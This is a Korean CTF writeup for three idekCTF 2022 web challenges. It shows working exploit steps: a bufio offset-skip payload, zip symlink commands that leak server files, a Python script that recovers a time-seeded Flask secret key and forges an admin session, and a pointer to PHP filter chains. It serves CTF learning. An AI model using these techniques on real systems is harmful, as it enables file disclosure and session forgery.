idekCTF 2022 writeup

Web/Readme

μ½”λ“œ ν•˜λ‚˜ν•˜λ‚˜ 천천히 따라가 보도둝 ν•˜κ² λ‹€.

func main() {
	initRandomData()
	http.HandleFunc("/just-read-it", justReadIt)
}

/둜 μ΄λ™ν•˜λ©΄ 아무것도 μ—†μ–΄μ„œ 404κ°€ λœ¬λ‹€. /just-read-it을 μ²˜λ¦¬ν•˜λŠ” ν•Έλ“€λŸ¬κ°€ 보인닀.

func justReadIt(w http.ResponseWriter, r *http.Request) {
	body, err := ioutil.ReadAll(r.Body)
		if err != nil {
			w.WriteHeader(500)
			w.Write([]byte("bad request\n"))
			return
		}
	
		reqData := ReadOrderReq{}
		if err := json.Unmarshal(body, &reqData); err != nil {
			w.WriteHeader(500)
			w.Write([]byte("invalid body\n"))
			return
		}
	...
}

Body 값이 μ—†κ±°λ‚˜, Body 값을 JSON λ””μ½”λ”© ν•œ 값이 μœ νš¨ν•˜μ§€ μ•ŠμœΌλ©΄ 500 μ—λŸ¬λ₯Ό λ°˜ν™˜ν•œλ‹€.

type ReadOrderReq struct {
	Orders []int `json:"orders"`
}

μ΄λ•Œ λ””μ½”λ”© ν•œ JSON은 order 이름을 가진 μ •μˆ˜ 배열이 μžˆμ–΄μ•Ό ν•œλ‹€.

const (
	MaxOrders = 10
)

func justReadIt(w http.ResponseWriter, r *http.Request) {
	...
	if len(reqData.Orders) > MaxOrders {
			w.WriteHeader(500)
			w.Write([]byte("whoa there, max 10 orders!\n"))
			return
	}
	...
}

orders λ°°μ—΄ 크기가 10을 μ΄ˆκ³Όν•˜λ©΄ 500 μ—λŸ¬λ₯Ό λ°˜ν™˜ν•œλ‹€.

reader := bytes.NewReader(randomData)
validator := NewValidator()

랜덀 데이터λ₯Ό μƒμ„±ν•œ λ‹€μŒ μ‚¬μš©ν•˜κΈ° μœ„ν•΄ reader μΈμŠ€ν„΄μŠ€λ₯Ό λ§Œλ“€κ³ , orders 값을 κ²€μ¦ν•˜κΈ° μœ„ν•œ Validator struct μΈμŠ€ν„΄μŠ€λ₯Ό λ§Œλ“ λ‹€.

func justReadIt(w http.ResponseWriter, r *http.Request) {
	...
	for _, o := range reqData.Orders {
		if err := validator.CheckReadOrder(o); err != nil {
			w.WriteHeader(500)
			w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
			return
		}

		ctx = WithValidatorCtx(ctx, reader, int(o))
		_, err := validator.Read(ctx)
		if err != nil {
			w.WriteHeader(500)
			w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
			return
		}
	}
	...
}

orders 배열에 μžˆλŠ” κ°’λ§ŒνΌ reader 둜 데이터λ₯Ό μ½λŠ”λ‹€.

func (v *Validator) CheckReadOrder(o int) error {
	if o <= 0 || o > 100 {
		return fmt.Errorf("invalid order %v", o)
	}
	return nil
}

읽기 전에 λ°°μ—΄μ—μ„œ κ°€μ Έμ˜¨ 값이 0 μ΄ν•˜μ΄κ±°λ‚˜ 100을 μ΄ˆκ³Όν•˜λŠ”μ§€ ν™•μΈν•œλ‹€.

func justReadIt(w http.ResponseWriter, r *http.Request) {
	...
	if err := validator.Validate(ctx); err != nil {
		w.WriteHeader(500)
		w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
		return
	}

	w.WriteHeader(200)
	w.Write([]byte(os.Getenv("FLAG")))
}

μœ„μ—μ„œ μ‚¬μš©ν•œ reader λ₯Ό 계속 μ‚¬μš©ν•˜λ©΄μ„œ Validate λ₯Ό μ§„ν–‰ν•œλ‹€.

func (v *Validator) Validate(ctx context.Context) error {
	r, _ := GetValidatorCtxData(ctx)
	buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
	if err != nil {
		return err
	}
	if bytes.Compare(buf, password[:]) != 0 {
		return errors.New("invalid password")
	}
	return nil
}

Validate 에선 reader μ—μ„œ 32λ°”μ΄νŠΈ λ§ŒνΌμ„ 읽어와 password 와 λΉ„κ΅ν•œλ‹€. λΉ„κ΅ν•΄μ„œ λ™μΌν•˜λ©΄ FLAGλ₯Ό λ°˜ν™˜ν•œλ‹€.

func initRandomData() {
	rand.Seed(1337)
	randomData = make([]byte, 24576)
	if _, err := rand.Read(randomData); err != nil {
		panic(err)
	}
	copy(randomData[12625:], password[:])
}

ν”„λ‘œκ·Έλž¨μ΄ 졜초둜 싀행될 λ•Œ μˆ˜ν–‰ν•˜λŠ” initRandomData ν•¨μˆ˜λŠ” 1337 μ‹œλ“œ 값을 λ°”νƒ•μœΌλ‘œ 24576 λ°”μ΄νŠΈμ˜ λ‚œμˆ˜ 버퍼λ₯Ό μƒμ„±ν•œ λ‹€μŒ, λ²„νΌμ˜ 12625 μ˜€ν”„μ…‹μ— password 값을 λ³΅μ‚¬ν•œλ‹€.

그럼 orders λ₯Ό 톡해 readerλ₯Ό 12625 μ˜€ν”„μ…‹κΉŒμ§€ μ΄λ™ν•˜κ²Œλ” 값을 μž…λ ₯ν•˜λ©΄ Validate ν•¨μˆ˜λ₯Ό 톡과할 수 μžˆμŒμ„ μ•Œ 수 μžˆλ‹€. λ¬Έμ œλŠ” orders λ°°μ—΄μ˜ 길이가 10으둜 ν•œμ •λ˜μ–΄ 있음과 orders λ°°μ—΄ μ›μ†Œ 값이 1λΆ€ν„° 100 μ‚¬μ΄λ‘œ μ œν•œλ˜μ–΄ μžˆλ‹€λŠ” 것이닀.

func (v *Validator) Read(ctx context.Context) ([]byte, error) {
	r, s := GetValidatorCtxData(ctx)
	buf := make([]byte, s)
	_, err := r.Read(buf)
	if err != nil {
		return nil, fmt.Errorf("read error: %v", err)
	}
	return buf, nil
}

Validator struct의 Read ν•¨μˆ˜λ₯Ό 보면, GetValidatorCtxData 둜 λΆ€ν„° reader μΈμŠ€ν„΄μŠ€μ™€ size 값을 λ°›μ•„μ˜€λŠ” 것을 λ³Ό 수 μžˆλ‹€.

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
	reader := ctx.Value(reqValReaderKey).(io.Reader)
	size := ctx.Value(reqValSizeKey).(int)
	if size >= 100 {
		reader = bufio.NewReader(reader)
	}
	return reader, size
}

GetValidatorCtxData λ₯Ό 보면, sizeκ°€ 100 이상일 경우 bufio νŒ¨ν‚€μ§€μ˜ NewReader ν•¨μˆ˜λ₯Ό 톡해 reader에 μƒˆ μΈμŠ€ν„΄μŠ€λ₯Ό λΆ€μ—¬ν•˜λŠ” 것을 λ³Ό 수 μžˆλ‹€.

Link

NewReader ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•  λ•Œ size 값을 λͺ…μ‹œν•˜μ§€ μ•Šμ•„ defaultBufSize 을 μ‚¬μš©ν•˜κ²Œ λ˜λŠ”λ°, 이 값은 4096이닀. 즉, orders 배열에 100을 λ„£μœΌλ©΄ NewReaderλ₯Ό μ‚¬μš©ν•˜λ©΄μ„œ defaultBufSize 만큼 reader의 μ»€μ„œλ₯Ό μ΄λ™μ‹œν‚¬ 수 μžˆμœΌλ―€λ‘œ password 값이 μžˆλŠ” 12625 μ˜€ν”„μ…‹κΉŒμ§€ reader 의 μ»€μ„œλ₯Ό 이동 μ‹œν‚¬ 수 μžˆλŠ” 것이닀.

Fiddler

κ³„μ‚°ν•˜λ©΄ [100, 100, 100, 99, 99, 99, 40] 으둜 12625 μ˜€ν”„μ…‹κΉŒμ§€ reader의 μ»€μ„œλ₯Ό 이동 μ‹œν‚¬ 수 μžˆλ‹€.

Web/SimpleFileServer

Upload νŽ˜μ΄μ§€

νŒŒμΌμ„ μ—…λ‘œλ“œν•  수 μžˆλŠ” μ„œλ²„μ΄λ‹€.

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if not session.get("uid"):
        return redirect("/login")
    if request.method == "GET":
        return render_template("upload.html")

    if "file" not in request.files:
        flash("You didn't upload a file!", "danger")
        return render_template("upload.html")
    
    file = request.files["file"]
    uuidpath = str(uuid.uuid4())
    filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
    file.save(filename)
    subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])    
    flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
    logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
    return redirect("/upload")

ZIP νŒŒμΌμ„ μ—…λ‘œλ“œ ν•˜λ©΄ linux의 unzip으둜 {DATA_DIR}uploads/{uuidpath} κ²½λ‘œμ— νŒŒμΌμ„ ν‘Όλ‹€.

@app.route("/uploads/<path:path>")
def uploads(path):
    try:
        return send_from_directory(DATA_DIR + "uploads", path)
    except PermissionError:
        abort(404)

ν‘Ό νŒŒμΌμ€ μœ„μ— μžˆλŠ” λΌμš°νŒ… μ½”λ“œλ‘œ μ—΄λžŒν•  수 μžˆλ„λ‘ λ§Œλ“€μ–΄λ†¨λ‹€.

@app.route("/flag")
def flag():
    if not session.get("admin"):
        return "Unauthorized!"
    return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")

ν”Œλž˜κ·Έλ₯Ό νšλ“ν•˜κΈ° μœ„ν•΄μ„  μ„Έμ…˜μ˜ admin 값을 True둜 λ§Œλ“€μ–΄μ•Ό ν•œλ‹€.

CMD bash -c "mkdir /tmp/uploadraw /tmp/uploads && sqlite3 /tmp/database.db \"CREATE TABLE users(username text, password text, admin boolean)\" && /usr/local/bin/gunicorn --bind 0.0.0.0:1337 --config config.py --log-file /tmp/server.log wsgi:app"

gunicorn에 flaskλ₯Ό λ¬Όλ €μ„œ μ„œλ²„λ₯Ό κ΅¬ν˜„ν–ˆλŠ”λ°, /tmp/server.log 에 μ„œλ²„ 둜그λ₯Ό μ €μž₯ν•˜λ„λ‘ κ΅¬μ„±ν•˜μ˜€λ‹€.

import random
import os
import time

SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

SECRET_OFFSETκ³Ό μ„œλ²„λ₯Ό μ‹œμž‘ν•œ μ‹œμ μ˜ 값을 λ”ν•œ 값을 random.seed둜 μ„€μ •ν•œ λ‹€μŒ, 32 길이의 16μ§„μˆ˜ 숫자λ₯Ό 생성해 flask의 SECRET_KEY둜 μ‚¬μš©ν•˜κ³  μžˆλ‹€.

μ–΄λ””μ„œλΆ€ν„° μ‹œμž‘ν• κΉŒ

flask의 SECRET_KEYλ₯Ό seedλ₯Ό μž…λ ₯ν•œ 랜덀 λͺ¨λ“ˆμ—μ„œ μƒμ„±ν•˜λŠ” 것을 톡해 SECRET_KEYλ₯Ό μž¬ν˜„ν•  수 μžˆμŒμ„ μ•Œ 수 μžˆλ‹€. λ˜ν•œ [config.py](http://config.py) μ—μ„œ μ‚­μ œλœ SECRET_OFFSET 값을 seedλ₯Ό μž…λ ₯ν•  λ•Œ μ‚¬μš©ν•˜λŠ” 것을 톡해 μ‹€μ„œλ²„μ— μžˆλŠ” config.py νŒŒμΌμ„ 유좜 μ‹œμΌœμ•Ό 함을 μœ μΆ”ν•  수 μžˆλ‹€.

Linuxμ—μ„œλŠ” 심볼릭 링크 λ˜ν•œ zip μ»€λ§¨λ“œλ‘œ μ••μΆ•ν•  수 μžˆλ‹€. 심볼릭 링크λ₯Ό μ••μΆ•ν•œ 파일이 μ„œλ²„λ‘œ μ—…λ‘œλ“œ 되면 unzip μ»€λ§¨λ“œλ‘œ μ••μΆ• ν•΄μ œλ˜λ©΄μ„œ {DATA_DIR}uploads/{uuidpath} 에 μœ„μΉ˜ν•˜κ²Œ λ˜λŠ”λ°, μ΄λ•Œ 심볼릭 링크 κΈ°λŠ₯ λ˜ν•œ κ·ΈλŒ€λ‘œ μœ μ§€λœλ‹€. μœ μΆœν•˜κ³  싢은 νŒŒμΌμ— 심볼릭 링크λ₯Ό μƒμ„±ν•˜κ³  μ••μΆ•ν•œ λ‹€μŒ 올리면 μ—΄λžŒν•  수 μžˆλŠ” 것이닀.

$ ln -s /tmp/server.log 1
$ ln -s /app/config.py 2
$ zip --symlink exp.zip 1 2
adding: 1 (stored 0%)
adding: 2 (stored 0%)

μœ μΆœν•΄μ•Ό 될 νŒŒμΌμ€ random.seed 에 λ“€μ–΄κ°„ κ°’μ΄λ‹ˆ [config.py](http://config.py) 파일과 μ„œλ²„ λ‘œκ·Έκ°€ μ €μž₯된 server.log νŒŒμΌμ΄λ‹€. ν•΄λ‹Ή νŒŒμΌμ„ κ°€λ¦¬ν‚€λŠ” 심볼릭 링크λ₯Ό μƒμ„±ν•œ λ‹€μŒ zip μ»€λ§¨λ“œλ‘œ μ••μΆ•ν•œλ‹€.

μƒμ„±ν•œ μ••μΆ•νŒŒμΌμ„ μ„œλ²„μ— 올린 λ‹€μŒ νŒŒμΌμ— μ ‘κ·Όν•˜λ©΄ 파일 λ‚΄μš©μ„ μ—΄λžŒν•  수 μžˆλ‹€.

Upload νŽ˜μ΄μ§€

http://simple-file-server.chal.idek.team:1337/uploads/5f1cbf35-5598-45ba-93d2-2c62c240a6ae/1

http://simple-file-server.chal.idek.team:1337/uploads/5f1cbf35-5598-45ba-93d2-2c62c240a6ae/2

time.time() 의 리턴 값은 Unix Timestamp κ°’μ΄λ―€λ‘œ server.log μ—μ„œ ν™•μΈν•œ μ„œλ²„ μ‹œκ°„μ„ λ³€ν™˜ν•œλ‹€.

https://www.unixtimestamp.com/

νšλ“ν•œ 값을 λ°”νƒ•μœΌλ‘œ SECRET_KEYλ₯Ό μƒμ„±ν•˜λŠ” μ½”λ“œλ₯Ό μ§ λ‹€.

  • time.time() 으둜 κ°€μ Έμ˜¨ μ‹œκ°„ 값이 server.log에 찍힐 λ‹Ήμ‹œμ™€ 차이가 μžˆμ„ 수 μžˆμœΌλ‹ˆ, μ–΄λŠ 정도 κ·Έ μ‹œκ°„μ— 이전 κ°’μœΌλ‘œ Bruteforceλ₯Ό 진행해야 ν•œλ‹€.
  • time.time() 의 리턴값은 round() ν•¨μˆ˜λ‘œ ms κ°’κΉŒμ§€ ν¬ν•¨ν•˜κΈ° λ•Œλ¬Έμ— 0.001 λ‹¨μœ„λ‘œ Bruteforce 증감해야 ν•œλ‹€.
  • SECRET_KEY 둜 μ„Έμ…˜ 값을 μƒμ„±ν•˜κ³  κ²€μ¦ν• λ•Œ https://github.com/Paradoxis/Flask-Unsign 을 μ‚¬μš©ν•œλ‹€.
  • Bruteforce 도쀑 μƒμ„±ν•œ SECRET_KEY 값이 μ‹€μ„œλ²„μ— μžˆλŠ” SECRET_KEY 와 λ™μΌν•œμ§€ μ²΄ν¬ν•˜κΈ° μœ„ν•΄ μ‹€μ„œλ²„μ—μ„œ μ‚¬μš© 쀑인 μ„Έμ…˜ μΏ ν‚€ 값을 가져와 μƒμ„±ν•œ κ°’μœΌλ‘œ verifyλ₯Ό μ§„ν–‰ν•œλ‹€.
  • λ§Œμ•½ verify ν–ˆμ„λ•Œ 정상적이면 ν•΄λ‹Ή ν‚€κ°€ λ§žλŠ”κ±°λ‹ˆκΉŒ 그걸둜 admin 값이 True 인 μ„Έμ…˜μ„ sign 으둜 μƒμ„±ν•œλ‹€
import random
from flask_unsign import session

any_session = "eyJhZG1pbiI6bnVsbCwidWlkIjoiMSJ9.Y8d5Ng.sxCa3w5iiiDL1kjkkIndvtLYd8M"
SECRET_OFFSET = -67198624
time = 1673997221 # [2023-01-17 23:13:41 +0000] UTC 주의

while True:
    new_time = round(time, 3)
    new_seed = round((new_time + SECRET_OFFSET) * 1000)
    print(new_seed, end="\r")
    random.seed(round((new_time + SECRET_OFFSET) * 1000))
    secret = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
    if session.verify(any_session, secret):
        print("[+] Found SECRET_KEY: " + secret)
        new_session = {"admin": True, "uid": 1}
        print("[+] Created Session: " + session.sign(new_session, secret))
        break
    time += 0.001

λ‚΄κ°€ μž‘μ„±ν•œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λ©΄?

http://simple-file-server.chal.idek.team:1337/flag

Web/Paywall

<?php
        error_reporting(0);
        set_include_path('articles/');

        if (isset($_GET['p'])) {
            $article_content = file_get_contents($_GET['p'], 1);

            if (strpos($article_content, 'PREMIUM') === 0) {
                die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
            }
            else if (strpos($article_content, 'FREE') === 0) {
                echo "<article>$article_content</article>";
                die();
            }
            else {
                die('nothing here');
            }
        }  
    ?>

p 둜 받은 값이 file_get_contents 에 인자둜 μ „λ‹¬λ˜κΈ° λ•Œλ¬Έμ— PHP filter ν•¨μˆ˜λ‘œ 무언가λ₯Ό ν•  수 μžˆμ„ κ²ƒμœΌλ‘œ 보인닀. κ·ΈλŸ¬λ‚˜ ν”Œλž˜κ·Έκ°€ μžˆλŠ” νŒŒμΌμ„ λ‘œλ”© ν•˜λ©΄ strpos ν•¨μˆ˜ λ•Œλ¬Έμ— 필터링에 걸리기 λ•Œλ¬Έμ—, 이λ₯Ό 우회 ν•  수 μžˆλŠ” 무언가가 ν•„μš”ν•˜λ‹€.

PHP filter chainμ΄λž€κ²Œ μžˆλŠ”λ°, 인코딩 쀑 λ°œμƒν•˜λŠ” 값을 ν™œμš©ν•΄ λ¬΄μ—μ„œ 유λ₯Ό μ°½μ‘°ν•˜λŠ” μ‹ λ°•ν•œ 기법이닀.

https://github.com/synacktiv/php_filter_chain_generator

PHP filters chain: What is it and how to use it

Copyright Β© 2023 CXBT